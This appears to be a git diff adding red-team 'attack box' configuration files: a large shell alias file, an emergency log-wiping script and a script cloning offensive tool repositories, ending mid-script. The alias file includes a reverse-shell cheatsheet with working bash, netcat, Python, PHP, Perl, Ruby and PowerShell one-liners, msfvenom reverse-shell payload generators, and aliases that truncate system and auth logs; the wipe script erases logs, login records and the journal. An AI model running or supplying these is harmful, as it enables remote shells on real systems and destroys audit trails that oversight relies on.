for different scan types and data." diff --git a/modules/attack-box/files/clean-shell-aliases b/modules/attack-box/files/clean-shell-aliases new file mode 100644 index 0000000..fe2ce99 --- /dev/null +++ b/modules/attack-box/files/clean-shell-aliases @@ -0,0 +1,462 @@ +# OPSEC-Aware Shell Aliases for Attack Box +# Clean configuration without identifiable information + +# โ”€โ”€โ”€ GENERAL ALIASES โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias ll='ls -alFh --color=auto' +alias la='ls -A --color=auto' +alias l='ls -CF --color=auto' +alias cls='clear' +alias clr='clear' +alias ..='cd ..' +alias ...='cd ../..' +alias ....='cd ../../..' +alias grep='grep --color=auto' +alias egrep='egrep --color=auto' +alias fgrep='fgrep --color=auto' + +# File operations with safety +alias cp='cp -i' +alias mv='mv -i' +alias rm='rm -i' + +# โ”€โ”€โ”€ OPSEC ALIASES โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Network checks +alias myip='curl -s ifconfig.me' +alias checkip='curl -s https://ipinfo.io/ip' +alias checkdns='cat /etc/resolv.conf' +alias ports='netstat -tulanp' +alias listen='lsof -i -P | grep LISTEN' +alias estab='lsof -i -P | grep ESTABLISHED' + +# Process and connection monitoring +alias checkcon='ss -tupan | grep ESTABLISHED' +alias checklis='ss -tupan | grep LISTEN' +alias checkproc='ps auxf | grep -v grep | grep' +alias psg='ps aux | grep -v grep | grep -i' +alias pscpu='ps auxf | sort -nr -k 3' +alias psmem='ps auxf | sort -nr -k 4' + +# Emergency and cleanup +alias panic='emergency-wipe.sh' +alias emergency-wipe='emergency-wipe.sh' +alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null' +alias clean='trash-cleanup.sh' +alias opsec='opsec-check.sh' + +# Cleanup operations +alias wipe-free='sudo sfill -v /' +alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;' +alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history' +alias clear-auth='sudo truncate -s 0 /var/log/auth.log' +alias shred-file='shred -vfz -n 3' + +# Anonymity +alias anon-on='sudo systemctl start tor && . torsocks on' +alias anon-off='. torsocks off && sudo systemctl stop tor' +alias check-tor='curl -s https://check.torproject.org/api/ip' + +# โ”€โ”€โ”€ NAVIGATION SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias ops='cd ~/ops' +alias targets='cd ~/ops/targets' +alias loot='cd ~/ops/loot' +alias logs='cd ~/ops/logs' +alias reports='cd ~/ops/reports' +alias shells='cd ~/ops/shells' +alias mount='cd ~/ops/mount' +alias tools='cd ~/tools' +alias www='cd /var/www/html' +alias tmp='cd /tmp' +alias payloads='cd ~/ops/payloads' +alias wordlists='cd ~/tools/wordlists' +alias exploits='cd ~/ops/exploits' + +# โ”€โ”€โ”€ QUICK SERVERS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias serve='python3 -m http.server' +alias serve80='sudo python3 -m http.server 80' +alias servephp='php -S 0.0.0.0:8080' +alias smbserv='impacket-smbserver share . -smb2support' +alias ftpserv='python3 -m pyftpdlib -p 21 -w' + +# โ”€โ”€โ”€ REVERSE SHELL CATCHERS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias ncl='nc -nvlp' +alias ncu='nc -nvu' +alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -' +alias rlwrapl='rlwrap nc -nvlp' + +# โ”€โ”€โ”€ SSH TUNNEL SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias socks='function _socks() { + local config_name="$1" + local port="${2:-1080}" + + if [ -z "$config_name" ]; then + echo "Usage: socks [port]" + return 1 + fi + + # Kill existing proxy + lsof -ti:$port | xargs -r kill -9 2>/dev/null + + # Start SSH SOCKS proxy + ssh -D $port -N -f "$config_name" || return 1 + + # Create temp profile + local temp_profile="/tmp/firefox-socks-$$" + mkdir -p "$temp_profile" + +# Add proxy settings +cat > "$temp_profile/user.js" << EOF +user_pref("network.proxy.type", 1); +user_pref("network.proxy.socks", "localhost"); +user_pref("network.proxy.socks_port", $port); +user_pref("network.proxy.socks_version", 5); +user_pref("network.proxy.socks_remote_dns", true); +EOF + + # Use setsid to fully detach and preserve input + setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip & + + echo "โœ“ Firefox launched with SOCKS proxy" +}; _socks' + +# Enhanced stop function +alias socks-stop='function _socks_stop() { + local port="${1:-1080}" + + echo -n "Stopping SOCKS proxy on port $port... " + lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running" + + # Clean up temp profiles + rm -rf /tmp/firefox-socks-* 2>/dev/null +}; _socks_stop' + +# Local port forwarding - Access remote service on local port +# Usage: ssh-local 8080 target.com 80 user@jumpbox +ssh-local() { + if [ $# -ne 4 ]; then + echo "Usage: ssh-local " + echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com" + return 1 + fi + echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4" + ssh -N -L $1:$2:$3 $4 +} + +# Remote port forwarding - Expose local service to remote +# Usage: ssh-remote 8080 localhost 80 user@public-server +ssh-remote() { + if [ $# -ne 4 ]; then + echo "Usage: ssh-remote " + echo "Example: ssh-remote 8080 localhost 80 user@public-server.com" + return 1 + fi + echo "[*] Creating remote tunnel: $4:$1 -> $2:$3" + ssh -N -R $1:$2:$3 $4 +} + +# Dynamic SOCKS proxy +# Usage: ssh-socks 1080 user@target +ssh-socks() { + if [ $# -ne 2 ]; then + echo "Usage: ssh-socks " + echo "Example: ssh-socks 1080 user@target.com" + return 1 + fi + echo "[*] Creating SOCKS proxy on port $1 via $2" + echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1" + ssh -N -D $1 $2 +} + +# Multi-hop SSH tunnel +# Usage: ssh-multihop target.internal jumpbox.com +ssh-multihop() { + if [ $# -ne 2 ]; then + echo "Usage: ssh-multihop " + echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com" + return 1 + fi + echo "[*] Connecting to $1 via $2" + ssh -J $2 $1 +} + +# โ”€โ”€โ”€ SSHFS MOUNT SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Mount remote directory via SSHFS +# Usage: ssh-mount user@host:/path /local/mount +ssh-mount() { + if [ $# -ne 2 ]; then + echo "Usage: ssh-mount " + echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www" + return 1 + fi + mkdir -p $2 + echo "[*] Mounting $1 to $2" + sshfs -o allow_other,default_permissions $1 $2 +} + +# Unmount SSHFS +# Usage: ssh-unmount /local/mount +ssh-unmount() { + if [ $# -ne 1 ]; then + echo "Usage: ssh-unmount " + return 1 + fi + echo "[*] Unmounting $1" + fusermount -u $1 +} + +# Mount with specific SSH key +# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key +ssh-mount-key() { + if [ $# -ne 3 ]; then + echo "Usage: ssh-mount-key " + return 1 + fi + mkdir -p $2 + echo "[*] Mounting $1 to $2 using key $3" + sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2 +} + +# โ”€โ”€โ”€ TOOL SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Metasploit +alias msf='msfconsole -q' +alias msfup='msfupdate' +alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1' + +# Nmap shortcuts +alias nmap-full='nmap -sC -sV -O -p- -T4' +alias nmap-udp='sudo nmap -sU -sV --top-ports 1000' +alias nmap-vuln='nmap -sV --script=vuln' +alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users' + +# Tool updates +alias update-tools='update-all-tools.sh' +alias update-searchsploit='searchsploit -u' +alias update-nmap-scripts='sudo nmap --script-updatedb' + +# Quick tool access +alias kerb='kerbrute' +alias responder='sudo responder -I eth0 -wFv' +alias crack='crackmapexec' +alias evil='evil-winrm -i' +alias bloodhound-start='sudo neo4j start && bloodhound' + +# โ”€โ”€โ”€ ENCODING/DECODING โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias b64d='base64 -d' +alias b64e='base64 -w 0' +alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"' +alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"' +alias hexdump='od -A x -t x1z -v' +alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"' + +# โ”€โ”€โ”€ METASPLOIT PAYLOAD GENERATORS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias msfpayloads='msfvenom -l payloads' +alias msfencoders='msfvenom -l encoders' +alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe' +alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf' +alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php' +alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp' +alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp' +alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war' + +# โ”€โ”€โ”€ WORDLIST SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias rockyou='locate rockyou.txt | head -1' +alias seclists='cd ~/tools/wordlists/SecLists' +alias dirmedium='locate directory-list-2.3-medium.txt | head -1' +alias submedium='locate subdomains-top1million-110000.txt | head -1' + +# โ”€โ”€โ”€ PROXYCHAINS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias pc='proxychains4 -q' +alias pcnmap='proxychains4 -q nmap -sT -Pn' + +# โ”€โ”€โ”€ CHISEL SHORTCUTS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias chisel-server='chisel server -p 8000 --reverse' +alias chisel-client='chisel client $1:8000 R:socks' + +# โ”€โ”€โ”€ QUICK FUNCTIONS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Extract various archive types +extract() { + if [ -f $1 ]; then + case $1 in + *.tar.bz2) tar xjf $1 ;; + *.tar.gz) tar xzf $1 ;; + *.bz2) bunzip2 $1 ;; + *.rar) unrar x $1 ;; + *.gz) gunzip $1 ;; + *.tar) tar xf $1 ;; + *.tbz2) tar xjf $1 ;; + *.tgz) tar xzf $1 ;; + *.zip) unzip $1 ;; + *.Z) uncompress $1;; + *.7z) 7z x $1 ;; + *) echo "'$1' cannot be extracted" ;; + esac + else + echo "'$1' is not a valid file" + fi +} + +# Create backup of file +backup() { + cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak" +} + +# Quick nmap scans +quickscan() { + echo "[*] Quick scan of $1" + nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1 +} + +fullscan() { + echo "[*] Full scan of $1" + nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1 +} + +udpscan() { + echo "[*] UDP scan of $1" + sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1 +} + +# Reverse shell cheatsheet +revshells() { + echo "===== Reverse Shell Cheatsheet =====" + echo "Bash:" + echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" + echo "" + echo "Bash (alternative):" + echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196" + echo "" + echo "Netcat:" + echo " nc -e /bin/bash 10.0.0.1 4444" + echo " nc -c bash 10.0.0.1 4444" + echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f" + echo "" + echo "Python:" + echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" + echo "" + echo "Python3:" + echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" + echo "" + echo "PHP:" + echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'" + echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'" + echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'" + echo "" + echo "Perl:" + echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" + echo "" + echo "Ruby:" + echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" + echo "" + echo "PowerShell:" + echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\"" +} + +# Upgrade shell +upgradeshell() { + echo "===== Shell Upgrade Commands =====" + echo "Python:" + echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'" + echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'" + echo "" + echo "Script:" + echo " script -q /dev/null -c bash" + echo "" + echo "Then:" + echo " export TERM=xterm" + echo " export SHELL=bash" + echo " stty rows 24 cols 80" + echo "" + echo "Background with Ctrl+Z, then:" + echo " stty raw -echo;fg" + echo "" + echo "For zsh shell:" + echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'" +} + +# Quick HTTP server with upload capability +upload_server() { + echo "Starting upload server on port 8080..." + python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler): + def do_POST(self): + if self.path=="/upload": + form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]}) + filename=form["file"].filename + data=form["file"].file.read() + with open(filename,"wb")as f:f.write(data) + self.send_response(200) + self.end_headers() + self.wfile.write(b"Upload successful") + else:self.send_error(404) +httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()' +} + +# Check all running services +checkservices() { + echo "===== Running Services =====" + systemctl list-units --type=service --state=running +} + +# Download file to target +download() { + if [ $# -ne 2 ]; then + echo "Usage: download " + return 1 + fi + echo "[*] Downloading $1 to $2" + curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2" +} + +# Git shortcuts +alias gs='git status' +alias ga='git add' +alias gc='git commit -m' +alias gp='git push' +alias gl='git log --oneline' +alias gd='git diff' + +# Docker shortcuts +alias dps='docker ps' +alias dpsa='docker ps -a' +alias dimg='docker images' +alias dexec='docker exec -it' +alias dlog='docker logs' +alias dstop='docker stop $(docker ps -q)' +alias drm='docker rm $(docker ps -a -q)' +alias drmi='docker rmi $(docker images -q)' + +# โ”€โ”€โ”€ VIRTUAL ENVIRONMENT ALIASES โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt' +alias venv-activate='source venv/bin/activate' + +# โ”€โ”€โ”€ BURP PROXY ALIASES โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"' +alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"' + +# โ”€โ”€โ”€ RED TEAM VPN MONITORING โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Safe OPSEC status check +alias opsec-status='echo "๐Ÿ” OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "๐Ÿ”’ Connected" || echo "โŒ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "๐Ÿ”’ Active" || echo "โŒ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"' + +# Network status for red team ops +alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"' + +# Quick OPSEC check +alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5' + +# Tool paths +export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin diff --git a/modules/attack-box/files/emergency-wipe.sh b/modules/attack-box/files/emergency-wipe.sh new file mode 100755 index 0000000..85d9391 --- /dev/null +++ b/modules/attack-box/files/emergency-wipe.sh @@ -0,0 +1,87 @@ +#!/bin/bash +# Emergency Wipe Script for OPSEC +# Quickly sanitizes system for emergency situations + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +NC='\033[0m' + +echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}" +echo -e "${YELLOW}This will clear sensitive data and logs${NC}" +echo "" + +# Confirm emergency wipe +read -p "Are you sure you want to proceed? (type YES): " CONFIRM +if [ "$CONFIRM" != "YES" ]; then + echo -e "${GREEN}Emergency wipe cancelled${NC}" + exit 0 +fi + +echo -e "${RED}[*] Beginning emergency sanitization...${NC}" + +# Clear command history +echo -e "${YELLOW}[*] Clearing command history${NC}" +history -c +> ~/.bash_history +> ~/.zsh_history +> ~/.python_history +> ~/.mysql_history +> ~/.psql_history + +# Clear system logs +echo -e "${YELLOW}[*] Clearing system logs${NC}" +sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null +sudo truncate -s 0 /var/log/auth.log 2>/dev/null +sudo truncate -s 0 /var/log/syslog 2>/dev/null +sudo truncate -s 0 /var/log/kern.log 2>/dev/null + +# Clear temporary files +echo -e "${YELLOW}[*] Clearing temporary files${NC}" +sudo rm -rf /tmp/* 2>/dev/null +sudo rm -rf /var/tmp/* 2>/dev/null +rm -rf ~/.cache/* 2>/dev/null + +# Clear SSH known hosts +echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}" +> ~/.ssh/known_hosts +sudo truncate -s 0 /var/log/btmp 2>/dev/null +sudo truncate -s 0 /var/log/wtmp 2>/dev/null +sudo truncate -s 0 /var/log/lastlog 2>/dev/null + +# Clear network traces +echo -e "${YELLOW}[*] Clearing network artifacts${NC}" +sudo ip neigh flush all 2>/dev/null + +# Clear DNS cache +echo -e "${YELLOW}[*] Clearing DNS cache${NC}" +sudo systemctl restart systemd-resolved 2>/dev/null + +# Clear browser data if present +echo -e "${YELLOW}[*] Clearing browser data${NC}" +rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null +rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null +rm -rf ~/.config/google-chrome/Default/History 2>/dev/null +rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null + +# Secure delete free space (optional - takes time) +read -p "Perform secure free space wipe? (y/N): " WIPE_FREE +if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then + echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}" + dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true + rm -f /tmp/wipe_file 2>/dev/null +fi + +# Clear systemd journal +echo -e "${YELLOW}[*] Clearing systemd journal${NC}" +sudo journalctl --vacuum-time=1s 2>/dev/null + +# Final cleanup +echo -e "${YELLOW}[*] Final cleanup${NC}" +sync +sudo updatedb 2>/dev/null + +echo "" +echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}" +echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}" +echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}" diff --git a/modules/attack-box/files/install_git_repos.sh b/modules/attack-box/files/install_git_repos.sh new file mode 100755 index 0000000..a6de5bb --- /dev/null +++ b/modules/attack-box/files/install_git_repos.sh @@ -0,0 +1,122 @@ +#!/bin/bash +# Attack Box - Git Repositories Cloning Script +# Clones security tool repositories with enhanced feedback + +# Get OPERATOR_DIR from environment or use default +OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" + +echo "================================================================" +echo "GIT REPOSITORIES CLONING STARTED" +echo "================================================================" + +REPOS=( + "https://github.com/SecureAuthCorp/impacket.git" + "https://github.com/danielmiessler/SecLists.git" + "https://github.com/swisskyrepo/PayloadsAllTheThings.git" + "https://github.com/fuzzdb-project/fuzzdb.git" + "https://github.com/1N3/Sn1per.git" + "https://github.com/maurosoria/dirsearch.git" + "https://github.com/OJ/gobuster.git" + "https://github.com/aboul3la/Sublist3r.git" + "https://github.com/laramies/theHarvester.git" + "https://github.com/Tib3rius/AutoRecon.git" + "https://github.com/carlospolop/PEASS-ng.git" + "https://github.com/rebootuser/LinEnum.git" + "https://github.com/mzet-/linux-exploit-suggester.git" + "https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git" + "https://github.com/PowerShellMafia/PowerSploit.git" + "https://github.com/BloodHoundAD/BloodHound.git" + "https://github.com/EmpireProject/Empire.git" + "https://github.com/cobbr/Covenant.git" + "https://github.com/byt3bl33d3r/CrackMapExec.git" + "https://github.com/Hackplayers/evil-winrm.git" +) + +REPO_NAMES=( + "impacket-dev" + "SecLists" + "PayloadsAllTheThings" + "fuzzdb" + "Sn1per" + "dirsearch-dev" + "gobuster-dev" + "Sublist3r" + "theHarvester-dev" + "AutoRecon" + "PEASS-ng" + "LinEnum" + "linux-exploit-suggester" + "Windows-Exploit-Suggester" + "PowerSploit" + "BloodHound" + "Empire" + "Covenant" + "CrackMapExec-dev" + "evil-winrm" +) + +TOTAL=${#REPOS[@]} +CURRENT=0 +FAILED=0 +SUCCESS=0 + +# Create git directory if it doesn't exist +mkdir -p "$OPERATOR_DIR/tools/git" +cd "$OPERATOR_DIR/tools/git" + +for i in "${!REPOS[@]}"; do + CURRENT=$((CURRENT + 1)) + repo="${REPOS[$i]}" + name="${REPO_NAMES[$i]}" + + echo "" + echo "[$CURRENT/$TOTAL] Cloning $name..." + echo "Repository: $repo" + echo "Progress: $(( CURRENT * 100 / TOTAL ))%" + echo "Started: $(date '+%H:%M:%S')" + + if [ -d "$name" ]; then + echo 